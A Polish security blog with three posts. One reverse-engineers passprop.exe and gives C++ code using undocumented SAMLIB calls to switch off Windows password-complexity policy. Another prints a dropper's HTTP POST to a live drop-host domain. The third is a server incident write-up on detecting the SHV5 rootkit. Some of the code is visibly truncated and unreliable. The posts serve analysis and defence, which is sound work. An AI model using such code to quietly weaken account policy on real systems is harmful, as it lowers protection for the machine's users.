Jako ,żę aplikacja ta jest „opensource”(no co ?tak mówi OllyDbg:P), to rzućmy okiem na kod i sprawdźmy wywołania jakich WinApi pojawiają się przy użyciu przełącznika
„/complex”.
Lista wygląda następująco:
ADVAPI32.LsaOpenPolicy
ADVAPI32.LsaQueryInformationPolicy
ADVAPI32.LsaClose
SAMLIB.SamConnect
SAMLIB.SamOpenDomain
SAMLIB.SamQueryInformationDomain
SAMLIB.SamSetInformationDomain
SAMLIB.SamCloseHandle
SAMLIB.SamFreeMemory

Ahh, czyli jednak istnieją api do modyfikacji polis,ajjj Icewall,, Icewall,, nie umiesz szukać :P.Odetchnąłem z ulgą ,że mam już swoje upragnione api i natentychmiast udałem się na strone MSDN ,żeby zbadać ich detale. Bez większego problemu można znaleźć dokumentacje dotyczącą trzech pierwszych api ale dla wszystkich importowanych z SAMLIB już nie;/:
No Results Found For: SamOpenDomain.
Dziwne prawda? Nie wiem jakie były intencje MS przy podjęciu decyzji nie udokumentowania tych api ,no ale cóż .
Po moim małym rozczarowaniu na MSDN ,wrzuciłem „SamOpenDomain” w google, ale niestety i google tym razem było mało pomocne. Jedynym kawałkiem kodu wykorzystującym niektóre z powyższych api jaki znalazłem był kod PwDump’a 2.Nie bawiąc się w dalsze poszukiwania brakujących wskazówek czy wrapper’ów na te api (możliwe ,że NETAPI32 dostarcza podobną funkcjonalność) przystąpiłem do tego co tygrysy lubią najbardziej;).
RE Passprop.exe.
Skupie się jedynie na api , których nie wykorzystuje PwDump2,czyli :
SAMLIB.SamQueryInformationDomain
SAMLIB.SamSetInformationDomain


Jak widać na powyższym screen’e SamQueryInformationDomain
przyjmuje 3 parametry:
SamQueryInformationDomain(HANDLE hDomain,DWORD kind, SamInfoStruct**);
,gdzie z dalszych moich obserwacji wynika ,że struktura SamInfoStruct ,najprawdopodobnie wygląda tak:
struct SamInfoStruct
{
DWORD unknow;
DWORD flag;
};

Interesująca nas tutaj polem jest flag:
„Hasło musi spełniać wymagania co do złożoności”
0 – off
1 – on

No to już mamy procke do ustalenia bieżącej wartości tej zasady teraz jeszcze modyfikacja:

Jak można było się domyśleć SamSetInformationDomain przedstawia się podobnie:
SamSetInformationDomain (HANDLE hDomain,DWORD dunno,SamInfoStruct*);
No i na koniec mały kod wyłaczający/włączający zasade złożoności hasła w lokalnej polisie.
(kod jest „troche” nie chlujny na szybkiego wyciąłem go z projektu i wprowadziłem drobne modyfikacje:P)
———————————–CUT———————————————–

#include
#include
#include
//---------------------------------------------------------------------------
struct SamInfoStruct
{
	DWORD unknow;
	DWORD flag;
};
typedef NTSTATUS
(WINAPI *SamConnect_t) (DWORD, HANDLE*, DWORD, LSA_OBJECT_ATTRIBUTES*);
typedef NTSTATUS
(WINAPI *SamOpenDomain_t) (HANDLE,DWORD,PSID,HANDLE*);
typedef NTSTATUS
(WINAPI *SamQueryInformationDomain_t)(HANDLE,DWORD,SamInfoStruct**);
typedef NTSTATUS
(WINAPI *SamSetInformationDomain_t)(HANDLE,DWORD,SamInfoStruct*);
typedef NTSTATUS
(WINAPI *SamCloseHandle_t) (HANDLE);
typedef NTSTATUS
(WINAPI *SamFreeMemory_t) (SamInfoStruct*);
using namespace std;
bool ComplexPassword(string inOperationType,bool inSet);
int main(int argc, char** argv)
{
bool flag;
if(argc<2)
	return 0;
switch(argv[1][0])
{
 case '0':
	flag = false;
	break;
 case '1':
	flag = true;
	break;
 default:
 return 0;
}
cout<<"Haslo musi spelniac wymagania co do zlozonosci: "
<<ComplexPassword("check",0)
<<endl;
//ustawienie flagi przy sprawdzaniu nie ma znaczenia
//set flag
ComplexPassword("set",flag);
cout<<"Haslo musi spelniac wymagania co do zlozonosci: "
<<ComplexPassword("check",0)
<<endl;
return 0;
}
bool ComplexPassword(string inOperationType,bool inSet)
{
LSA_HANDLE hPolicy = NULL;
LSA_OBJECT_ATTRIBUTES objAttrib;
POLICY_ACCOUNT_DOMAIN_INFO* pDomainInfo;
SamInfoStruct *SamInfo = NULL;
HANDLE hSam = 0;
HANDLE hDomain = 0;
SamConnect_t SamConnect;
SamOpenDomain_t SamOpenDomain;
SamQueryInformationDomain_t SamQueryInformationDomain;
SamSetInformationDomain_t SamSetInformationDomain;
SamCloseHandle_t SamCloseHandle;
SamFreeMemory_t  SamFreeMemory;
HMODULE hLib = LoadLibrary("samlib.dll");
SamConnect = (SamConnect_t)
GetProcAddress(hLib,"SamConnect");
SamOpenDomain = (SamOpenDomain_t)
GetProcAddress(hLib,"SamOpenDomain");
SamQueryInformationDomain = (SamQueryInformationDomain_t)
GetProcAddress(hLib,"SamQueryInformationDomain");
SamSetInformationDomain = (SamSetInformationDomain_t)
GetProcAddress(hLib,"SamSetInformationDomain");
SamCloseHandle = (SamCloseHandle_t)
GetProcAddress(hLib,"SamCloseHandle");
SamFreeMemory  = (SamFreeMemory_t)
GetProcAddress(hLib,"SamFreeMemory");
//tak tak tak ...zakładam ,że lib'a i wszystkie adresy usdało sie załadować pomyślnie
memset(&objAttrib,0,sizeof(objAttrib));
objAttrib.Length = sizeof(objAttrib);
if(LsaOpenPolicy(NULL,&objAttrib,POLICY_ALL_ACCESS,&hPolicy)!= 0)
{
	cout<<"Password complexity check error: "<<GetLastError();
	return false;
}
LsaQueryInformationPolicy(hPolicy,
                                   PolicyAccountDomainInformation,
                                   (void**)&pDomainInfo);
LsaClose(hPolicy);
if(SamConnect(0, &hSam, 0x20,&objAttrib)<0)
{
		cout<<"SamConnect error: "<DomainSid,&hDomain)<0)
{
	cout<<"SamOpenDomain error: "<<GetLastError();
	goto bad_boy;
}
if(SamQueryInformationDomain(hDomain,0x1,&SamInfo)<0)
{
	cout<<"SamQueryInformationDomain error: "<flag != 0x1)
		goto bad_boy;
	inSet = true;
}
else
{
	SamInfo->flag = (DWORD)inSet;
	if(SamSetInformationDomain(hDomain,0x1,SamInfo)<0)
	{
		cout<<"SamSetInformationDomain error: "<<GetLastError();
		goto bad_boy;
	}
 }
SamCloseHandle(hDomain);
SamCloseHandle(hSam);
if(SamInfo!=0)
	SamFreeMemory(SamInfo);
FreeLibrary(hLib);
return inSet;
bad_boy:
if(hDomain !=0)
		SamCloseHandle(hDomain);
SamCloseHandle(hSam);
if(SamInfo!=0)
	SamFreeMemory(SamInfo);
FreeLibrary(hLib);
return false;
}

———————————–CUT———————————————–
Przykładowa sesja:
pass.exe 1
Haslo musi spelniac wymagania co do zlozonosci: 0
Haslo musi spelniac wymagania co do zlozonosci: 1

I to by było na tyle:).
Jeżeli ktoś spotkał się z dokumentacją api z SAMLIB lub wrraperami z innego lib’a to będe wdzięczny za link.

Posted in Analiza, Aplikacja | Tagged , , , , , , | 2 Comments

Go to hell! – why?

Kolejny screen z serii funny malware 😉
Tym razem właściciel/e drop hosta nie ukrywają swojego sfrustrowania naszymi wizytami na ich serwerze i nie wiedząc czemu ślą nas do piekła!!!

Posted in Funny malware | Tagged , , | Leave a comment

Funny malware

Tak jak obiecałem wrzucam pierwszy post z cyklu “Funny malware” :).
Na pierwszy ogień idzie dropper bez konkretniejszej nazwy ponieważ mutacje tego typu trojanów jest tak duzo ,że ludzie od sygnature nie wyrabiają:D.
Osobnik zasłużył sobie na miejsce w tej katogorii nietuźnikową domeną dla drop hosta:
VT: 55efe2ff0338c0abe5b1a978a138913f
POST /CENZURA.php HTTP/1.1
Referer: SAS
Content-Type: multipart/form-data; boundary=7d615b161b064a
User-Agent: A
Host: hassomeonelostininter.net
Content-Length: 384
Cache-Control: no-cache
hassomeonelostininter.net
HAS SOMEONE LOST IN INTERNET

No tak interes się kręci 😀 to i panowie pozwalają sobie na żarty w postaci takich domen..hehhe:)
Btw:Interesujący filmik ,który gdzieś w sieci wygrzebał Borys prezentujący akcje policji podaczas nalotu na dom skimmerów/carderów:
Zobacz->Video
Tym paną zdecydownie nie bylo już do śmiechu :).
PS:Greetz to Emi aka ‘alwaro’ for sample.

Posted in Funny malware | Tagged , | Leave a comment

„Ziarnko do ziarnka i uzbiera się miarka”


Jakież to ładne przysłowie udało mi się wyszukać do określenia przebiegu ataku
,,,, ale do rzeczy.
W dobie gdzie każdy OS ma defaultowo zintegrowane mechanizmy
„utrudniające” exploitacje , zdalne ataki wymierzony bezpośrednio w jedna z
usług systemowych w celu wyROOT’owania(nie ma to jak neologizmy) maszyny,
są „w znacznym stopniu”(ehm ;] ) utrudnione.
No tak ,ale co jeśli atakujący ma trochę więcej cierpliwości i stopniowo będzie zwiększał swój stopień kontroli nad ofiarą?
Z pewnością taką możliwość dają hostingi + serwery WuWuWu z cała ekipą swoich krnąbrnych użytkowników. Trzymając się trendów rynkowych załóżmy ,że takim serwerem jest Apacze + PeHaPe ku uciesze użytkowników ( i nie tylko).Wszyscy wiemy ,że PHP nie należy do najbezpieczniejszych języków programowania ,no ale twórcy starają się zapewnić go choć trochę stosując „security by default”. No tak ,ale co ma zrobić takie biedny administrator kiedy dzwoni to niego pan Rysiek i mówi ze jego „fancy domorodna” aplikacja z interfejsem webowym do zdalnego domykania lodówki nie działa ,bo ktoś najwyraźniej wyłączył register_globals? Po paru takich telefonach odebranych w weekendowa noc sfrustrowany admin pójdzie po najmniejszej lini oporu i dokona „odpowiednich” modyfikacji php.ini.
Powyższą historię chciałbym traktować jako totalny żart ,no ale tak nie jest i raczej trzeba na nia patrzeć jak na historię z cyklu „Pół żartem Pół serio”(połówki zostawiam wam do wyboru).
A teraz tak całkiem poważnie o tym jak c99.php może zamienić się w rootkit’a SHV5.
Nie tak dawno dawno temu pewien administrator skarżył się na dziwny ruch wychodzący
gdzie adres źródłowy był spoofowany ,a adres docelowy zmieniał się w pewnym zakresie
przy sztywno określonym porcie dst wynoszącym “1” (DoS?).
Wcześniejsze pentesty cms’ów na serwerze wykazały pare bugów z cyklu RFI/LFI i podejrzliwy Ice zaczął dostrzegać w tym wszystkim jakieś większe ZUO.
Po BlackBox’e przyszedł czas żeby „dotknąć serwera z bliska”. Po paru dobrych minutach miotania się po katalogach WWW userów i szukaniu przyczyny zua, przeszedłem do oględzin aktywnych procesów .Oczy me zadziwił
rezultat komendy ps:
marcin@xxx:/$ ps -A
PID TTY TIME CMD
3537 ? 00:00:00 3

Hym hym cóż za dziwna nazwa komendy “3” (od razu na myśl przyszedł mi do głowy proces instalujący driver Mbroot-A :D).
Oczywiście nie omieszkałem przyjrzeć się sprawie bliżej:
marcin@xxx:/$ ps -p 3537 -F
UID PID PPID C SZ RSS PSR STIME TTY TIME CMD
root 3537 1 0 516 332 1 Aug28 ? 00:00:00 /sbin/ttyload -q
marcin@xxx:/$ md5sum /sbin/ttyload
5a9690fa6129bc021bf40fb5f6c603bd /sbin/ttyload

A rezultat dla tej md5’i możecie znalesc tutaj:
5a9690fa6129bc021bf40fb5f6c603bd

O tak ! to jeden z plików należących do rootkit’a!
Jeszcze rzut okiem na stringi:
marcin@xxx:/$ strings /sbin/ttyload | more
Linux $Info: This file is the propert of SH-crew team designed for test purposes. $ $Nr: SH- April/2003 produced in SH-labs for Linux Systems.Run and enjoy.

i sprawa jest zupełnie jasna.
Od razu muszę powiedzieć ze parskłem śmiechem z faktu ,że zwykłą komenda ps (+ fakt ,że rootkit podmienia binarke ps na swoja ,patchowaną) umoliwila wykrycie jednego z jego składników kompromitując przy tym cały mechanizm. No cóż ,jak widać nawet atakujący może się czasem pomylić;).
Końcowe odpalenie RootkitHuntera było już tylko formalnością:
[19:21:49] System checks summary
[19:21:49] =====================
[19:21:50]
[19:21:50] File properties checks...
[19:21:50] Files checked: 127
[19:21:50] Suspect files: 2
[19:21:50]
[19:21:50] Rootkit checks...
[19:21:50] Rootkits checked : 113
[19:21:50] Possible rootkits: 2
[19:21:50] Rootkit names : SHV4 Rootkit, SHV5 Rootkit

Ot cała historia;)A morał jest taki ,że nie należy lekceważyć żadnego składnika swojego systemu jeżeli chodzi o bezpieczeństwo.
Ale przecież to oczywiste ,prawda?

Posted in Malware, Security | Tagged , , , , | Leave a comment